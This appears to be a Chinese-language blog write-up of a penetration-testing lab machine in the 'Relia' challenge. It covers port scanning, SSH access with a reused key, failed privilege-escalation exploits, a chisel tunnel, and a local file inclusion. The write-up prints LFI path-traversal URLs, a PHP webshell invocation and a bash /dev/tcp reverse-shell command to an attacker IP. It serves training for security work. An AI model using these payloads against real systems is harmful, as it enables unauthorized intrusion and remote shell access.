Challenge 2 - Relia(2)
Challenge 2 - Relia(2)
目前已完成與拿下外部的一台 Linux 伺服器，下一台攻擊的順序選定 192.168.xxx.246
一樣先進行 Rustscan，└─$ rustscan -a 192.168.185.246 --scripts none --ulimit 5000 | tee rustscan
snmp 沒開，└─$ sudo nmap -sU -p 161 192.168.185.246 | tee snmp
nmap，└─$ sudo nmap -sCV -A -p 80,443,2222 192.168.185.246 | tee nmap
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.52 ((Ubuntu))
80 /
80 /robots.txt
443 /
443 /robots.txt
網站看來沒有可以利用的 Exploit，晚點再來看看有無其他路徑可以利用
下面一樣有一個 2222 Port 跑 SSH，使用在 .245 拿到的 anita id_ecdsa 試試看可否登入
ssh -i id_ecdsa_anita anita@192.168.185.246 -p 2222 有要求密碼，一樣輸入 fireball 成功登入
whoami & id 看一下是 anita 非管理者，但可以拿到第一階段的 local.txt flag
開始 PE，cat /etc/passwd，這一台僅有兩個帳號 offsec、anita
cat /etc/crontab
sudo -l 需要密碼，但是猜不到密碼
find / -perm -u=s -type f 2>/dev/null
find / -writable -type d 2>/dev/null
./linpeas.sh
看到熟悉的 Exploit，DirtyPipe、PwnKit、sudo Baron Samedit
測試 PwnKit 失敗
測試 DirtyPipe，發現沒有 gcc
測試 sudo Baron Samedit 也是失敗
繼續往下看 linpeas 又看到熟悉的 Exploit，[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
執行後一樣失敗
在 .245 第一台的時候對外有 8000 Port，這一台外部掃描時沒有發現 8000 Port
但是 linpeas 發現它一樣有起一個 8000 Port 服務但僅 Linten 在本機 loopback IP 上
搭建 chisel 到 kali 8000 Port
8000 /，看來是 Relia 建構中的官網
8000 /robots.txt
gobuster 看一下有甚麼目錄，有個不常見的目錄 /backend/
80 /backend/ 會跳轉帶入 query string ?view=user.inc
測試 /etc/passwd，http://127.0.0.1:8000/backend/?view=../../../../../../../../etc/passwd 可以開啟
馬上測試 LFI 看看，上傳 web shell 到 /tmp 底下
開啟看看 http://127.0.0.1:8000/backend/?view=../../../../../../../../tmp/webshell.php
發現無法正常開啟，看來跟網站可以讀取的權限較相關
測試前面枚舉到的 /var/crash/test.php
http://127.0.0.1:8000/backend/?view=../../../../../../../../var/crash/test.php&cmd=whoami
看來是成功的直接顯示了 whoami
改將 webshell.php 放到 /var/crash 底下試試看
執行 http://127.0.0.1:8000/backend/?view=../../../../../../../../var/crash/webshell.php
測試 whoami 看來沒有問題
執行 bash -c "bash -i >& /dev/tcp/192.168.45.185/4445 0>&1"
拿到 www-data 使用者權限的 shell 了
完成第二台，更新列表如下
留言
張貼留言